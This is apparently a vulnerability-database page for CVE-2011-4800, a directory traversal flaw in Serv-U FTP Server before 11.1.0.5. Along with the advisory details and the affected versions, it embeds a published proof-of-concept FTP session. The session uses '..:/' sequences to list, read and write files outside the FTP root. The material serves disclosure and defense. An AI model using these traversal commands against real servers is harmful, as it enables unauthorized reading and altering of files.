CVE-2011-4800 : Detail

CVE-2011-4800

Directory Traversal
A01-Broken Access Control
13.6%V4
Network
2011-12-14
00h00 +00:00
2024-09-16
23h01 +00:00
CVE.org
NVD
Notifications for a CVE
Stay informed of any changes for a specific CVE.
Notifications manage

CVE Descriptions

Directory traversal vulnerability in Serv-U FTP Server before 11.1.0.5 allows remote authenticated users to read and write arbitrary files, and list and create arbitrary directories, via a "..:/" (dot dot colon forward slash) in the (1) list, (2) put, or (3) get commands.

CVE Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE-22 Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory.

Metrics

Metrics Score Severity CVSS Vector Source
V2 9 AV:N/AC:L/Au:S/C:C/I:C/A:C nvd@nist.gov

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
EPSS First.org

Exploit information

Exploit Database EDB-ID : 18182

Publication date : 2011-11-30 23h00 +00:00
Author : kingcope
EDB Verified : Yes

I m better than TESO! CONFIDENTIAL SOURCE MATERIALS! [*]----------------------------------------------------[*] Serv-U FTP Server Jail Break 0day Discovered By Kingcope Year 2011 [*]----------------------------------------------------[*] Affected: 220 Serv-U FTP Server v7.3 ready... 220 Serv-U FTP Server v7.1 ready... 220 Serv-U FTP Server v6.4 ready... 220 Serv-U FTP Server v8.2 ready... 220 Serv-U FTP Server v10.5 ready... From the Vendor: Fixed in Serv-U 11.1.0.5+. Affects all previous versions. [*]----------------------------------------------------[*] C:\Users\kingcope\Desktop>ftp 192.168.133.134 Verbindung mit 192.168.133.134 wurde hergestellt. 220 Serv-U FTP Server v6.4 for WinSock ready... Benutzer (192.168.133.134:(none)): ftp (anonymous user :>) 331 User name okay, please send complete E-mail address as password. Kennwort: 230 User logged in, proceed. ftp> cd "/..:/..:/..:/..:/program files" 250 Directory changed to /LocalUser/LocalUser/LocalUser/LocalUser/program files ftp> ls -la 200 PORT Command successful. 150 Opening ASCII mode data connection for /bin/ls. dr--r--r-- 1 user group 0 Nov 12 21:48 . dr--r--r-- 1 user group 0 Nov 12 21:48 .. drw-rw-rw- 1 user group 0 Feb 14 2011 Apache Software Foundatio n drw-rw-rw- 1 user group 0 Feb 5 2011 ComPlus Applications drw-rw-rw- 1 user group 0 Jul 11 01:06 Common Files drw-rw-rw- 1 user group 0 Jul 8 16:57 CoreFTPServer drw-rw-rw- 1 user group 0 Jul 11 01:06 IIS Resources d--------- 1 user group 0 Jul 8 16:12 InstallShield Installation Information drw-rw-rw- 1 user group 0 Jul 29 15:07 Internet Explorer drw-rw-rw- 1 user group 0 Jul 8 16:12 Ipswitch drw-rw-rw- 1 user group 0 Feb 12 2011 Java drw-rw-rw- 1 user group 0 Jul 26 13:19 NetMeeting drw-rw-rw- 1 user group 0 Jul 29 14:39 Outlook Express drw-rw-rw- 1 user group 0 Jul 8 15:39 PostgreSQL drw-rw-rw- 1 user group 0 Nov 12 21:48 RhinoSoft.com drw-rw-rw- 1 user group 0 Feb 12 2011 Sun d--------- 1 user group 0 Jul 29 15:13 Uninstall Information drw-rw-rw- 1 user group 0 Feb 5 2011 VMware drw-rw-rw- 1 user group 0 Jul 8 15:34 WinRAR drw-rw-rw- 1 user group 0 Jul 26 13:30 Windows Media Player drw-rw-rw- 1 user group 0 Feb 5 2011 Windows NT d--------- 1 user group 0 Feb 5 2011 WindowsUpdate 226 Transfer complete. FTP: 1795 Bytes empfangen in 0,00Sekunden 448,75KB/s ftp> [*]----------------------------------------------------[*] with write perms: ftp> put foo.txt ..:/..:/..:/foobar <<-- writes foo into root of partition [*]----------------------------------------------------[*] and as anonymous ftp: ftp> get ..:/..:/..:/..:/windows/system32/calc.exe yes 200 PORT Command successful. 150 Opening ASCII mode data connection for calc.exe (115712 Bytes). 226 Transfer complete. FTP: 115712 Bytes empfangen in 0,04Sekunden 2571,38KB/s [*]----------------------------------------------------[*] This works to!!! : 220 Serv-U FTP Server v7.3 ready... Benutzer (xx.xx.xx.xx:(none)): ftp 331 User name okay, please send complete E-mail address as password. Kennwort: 230 User logged in, proceed. ftp> ls "-a ..:\:..\..:\..:\..:\..:\..:\..:\..:\*" 200 PORT Command successful. 150 Opening ASCII mode data connection for /bin/ls. . .. AUTOEXEC.BAT boot.ini bootfont.bin bsmain_runtime.log CONFIG.SYS Documents and Settings FPSE_search Inetpub IO.SYS log MSDOS.SYS msizap.exe MSOCache mysql NTDETECT.COM ntldr Program Files RavBin RECYCLER Replay.log rising.ini System Volume Information TDDOWNLOAD WCH.CN WINDOWS wmpub 226 Transfer complete. 317 bytes transferred. 19.35 KB/sec. FTP: 317 Bytes empfangen in 0,01Sekunden 21,13KB/s [*]----------------------------------------------------[*] Sometimes you need to give it the path: ftp> ls "-a ..:\:..\..:\..:\..:\..:\..:\..:\..:\program files\" ftp> ls "-a ..:\:..\..:\..:\..:\..:\..:\..:\..:\program files\*" 200 PORT Command successful. 150 Opening ASCII mode data connection for /bin/ls. . .. 360 Adobe ASP.NET CCProxy CE Remote Tools cmak Common Files ComPlus Applications D-Tools FFTPServer HTML Help Workshop IISServer InstallShield Installation Information Intel Internet Explorer Java JavaSoft K-Lite Codec Pack Microsoft ActiveSync Microsoft Analysis Services Microsoft Device Emulator Microsoft MapPoint Web Service Samples Microsoft MapPoint Web Service SDK, Version 4.0 Microsoft Office Microsoft Office Servers Microsoft Silverlight Microsoft SQL Server Microsoft Visual SourceSafe Microsoft Visual Studio 8 Microsoft.NET MSBuild MSXML 6.0 NetMeeting Outlook Express PortMap1.61 Reference Assemblies Rising SQLXML 4.0 SQLyog Enterprise STS2Setup_2052 Symantec Thunder Network TSingVision Uninstall Information Windows Media Player Windows NT WindowsUpdate WinRAR 226 Transfer complete. 835 bytes transferred. 50.96 KB/sec. FTP: 835 Bytes empfangen in 0,01Sekunden 64,23KB/s ftp>

Products Mentioned

Configuraton 0

Solarwinds>>Serv-u_file_server >> Version To (including) 11.1.0.3

Solarwinds>>Serv-u_file_server >> Version 3.0.0.16

Solarwinds>>Serv-u_file_server >> Version 3.0.0.17

Solarwinds>>Serv-u_file_server >> Version 3.1.0.0

Solarwinds>>Serv-u_file_server >> Version 3.1.0.1

Solarwinds>>Serv-u_file_server >> Version 3.1.0.3

Solarwinds>>Serv-u_file_server >> Version 4.0.0.4

Solarwinds>>Serv-u_file_server >> Version 4.1.0.0

Solarwinds>>Serv-u_file_server >> Version 4.1.0.3

Solarwinds>>Serv-u_file_server >> Version 5.0.0.0

Solarwinds>>Serv-u_file_server >> Version 5.0.0.4

Solarwinds>>Serv-u_file_server >> Version 5.0.0.9

Solarwinds>>Serv-u_file_server >> Version 5.0.0.11

Solarwinds>>Serv-u_file_server >> Version 5.1.0.0

Solarwinds>>Serv-u_file_server >> Version 5.2.0.0

Solarwinds>>Serv-u_file_server >> Version 5.2.0.1

Solarwinds>>Serv-u_file_server >> Version 6.0.0.0

Solarwinds>>Serv-u_file_server >> Version 6.0.0.1

Solarwinds>>Serv-u_file_server >> Version 6.0.0.2

Solarwinds>>Serv-u_file_server >> Version 6.1.0.0

Solarwinds>>Serv-u_file_server >> Version 6.1.0.1

Solarwinds>>Serv-u_file_server >> Version 6.1.0.4

Solarwinds>>Serv-u_file_server >> Version 6.1.0.5

Solarwinds>>Serv-u_file_server >> Version 6.2.0.0

Solarwinds>>Serv-u_file_server >> Version 6.2.0.1

Solarwinds>>Serv-u_file_server >> Version 6.3.0.0

Solarwinds>>Serv-u_file_server >> Version 6.3.0.1

Solarwinds>>Serv-u_file_server >> Version 6.4.0.0

Solarwinds>>Serv-u_file_server >> Version 6.4.0.1

Solarwinds>>Serv-u_file_server >> Version 6.4.0.2

Solarwinds>>Serv-u_file_server >> Version 6.4.0.3

Solarwinds>>Serv-u_file_server >> Version 6.4.0.4

Solarwinds>>Serv-u_file_server >> Version 6.4.0.5

Solarwinds>>Serv-u_file_server >> Version 6.4.0.6

Solarwinds>>Serv-u_file_server >> Version 7.0.0.1

Solarwinds>>Serv-u_file_server >> Version 7.0.0.2

Solarwinds>>Serv-u_file_server >> Version 7.0.0.3

Solarwinds>>Serv-u_file_server >> Version 7.0.0.4

Solarwinds>>Serv-u_file_server >> Version 7.1.0.0

Solarwinds>>Serv-u_file_server >> Version 7.1.0.1

Solarwinds>>Serv-u_file_server >> Version 7.1.0.2

Solarwinds>>Serv-u_file_server >> Version 7.2.0.0

Solarwinds>>Serv-u_file_server >> Version 7.2.0.1

Solarwinds>>Serv-u_file_server >> Version 7.3.0.0

Solarwinds>>Serv-u_file_server >> Version 7.3.0.1

Solarwinds>>Serv-u_file_server >> Version 7.3.0.2

Solarwinds>>Serv-u_file_server >> Version 7.4.0.0

Solarwinds>>Serv-u_file_server >> Version 7.4.0.1

Solarwinds>>Serv-u_file_server >> Version 8.0.0.1

Solarwinds>>Serv-u_file_server >> Version 8.0.0.2

Solarwinds>>Serv-u_file_server >> Version 8.0.0.4

Solarwinds>>Serv-u_file_server >> Version 8.0.0.5

Solarwinds>>Serv-u_file_server >> Version 8.0.0.7

Solarwinds>>Serv-u_file_server >> Version 8.1.0.1

Solarwinds>>Serv-u_file_server >> Version 8.1.0.3

Solarwinds>>Serv-u_file_server >> Version 8.2.0.0

Solarwinds>>Serv-u_file_server >> Version 8.2.0.1

Solarwinds>>Serv-u_file_server >> Version 8.2.0.3

Solarwinds>>Serv-u_file_server >> Version 9.0.0.1

Solarwinds>>Serv-u_file_server >> Version 9.0.0.3

Solarwinds>>Serv-u_file_server >> Version 9.0.0.5

Solarwinds>>Serv-u_file_server >> Version 9.1.0.0

Solarwinds>>Serv-u_file_server >> Version 9.1.0.2

Solarwinds>>Serv-u_file_server >> Version 9.2.0.1

Solarwinds>>Serv-u_file_server >> Version 9.3.0.1

Solarwinds>>Serv-u_file_server >> Version 9.4.0.0

Solarwinds>>Serv-u_file_server >> Version 9.4.0.2

Solarwinds>>Serv-u_file_server >> Version 10.0.0.2

Solarwinds>>Serv-u_file_server >> Version 10.0.0.3

Solarwinds>>Serv-u_file_server >> Version 10.0.0.5

Solarwinds>>Serv-u_file_server >> Version 10.0.0.7

Solarwinds>>Serv-u_file_server >> Version 10.1.0.0

Solarwinds>>Serv-u_file_server >> Version 10.1.0.1

Solarwinds>>Serv-u_file_server >> Version 10.2.0.0

Solarwinds>>Serv-u_file_server >> Version 10.2.0.2

Solarwinds>>Serv-u_file_server >> Version 10.3.0.1

Solarwinds>>Serv-u_file_server >> Version 10.4.0.0

Solarwinds>>Serv-u_file_server >> Version 10.5.0.4

Solarwinds>>Serv-u_file_server >> Version 10.5.0.6

Solarwinds>>Serv-u_file_server >> Version 10.5.0.11

Solarwinds>>Serv-u_file_server >> Version 10.5.0.14

Solarwinds>>Serv-u_file_server >> Version 10.5.0.16

Solarwinds>>Serv-u_file_server >> Version 10.5.0.19

Solarwinds>>Serv-u_file_server >> Version 10.5.0.21

Solarwinds>>Serv-u_file_server >> Version 10.5.0.24

Solarwinds>>Serv-u_file_server >> Version 11.0.0.0

Solarwinds>>Serv-u_file_server >> Version 11.0.0.2

Solarwinds>>Serv-u_file_server >> Version 11.0.0.4

Solarwinds>>Serv-u_file_server >> Version 11.1.0.5

References

http://secunia.com/advisories/47021
Tags : third-party-advisory, x_refsource_SECUNIA
http://www.serv-u.com/releasenotes/
Tags : x_refsource_CONFIRM
http://www.exploit-db.com/exploits/18182
Tags : exploit, x_refsource_EXPLOIT-DB
The information presented on CVE Find originates from several carefully selected reference sources. CVE data is provided by MITRE Corporation and the National Vulnerability Database (NVD). The Known Exploited Vulnerabilities (KEV) catalog is sourced from the Cybersecurity and Infrastructure Security Agency (CISA), while EPSS scores come from FIRST.org. Additionally, data regarding software weaknesses (CWE) and common attack patterns (CAPEC) is maintained by MITRE Corporation, and information on hardware and software configurations (CPE) is provided by the NVD.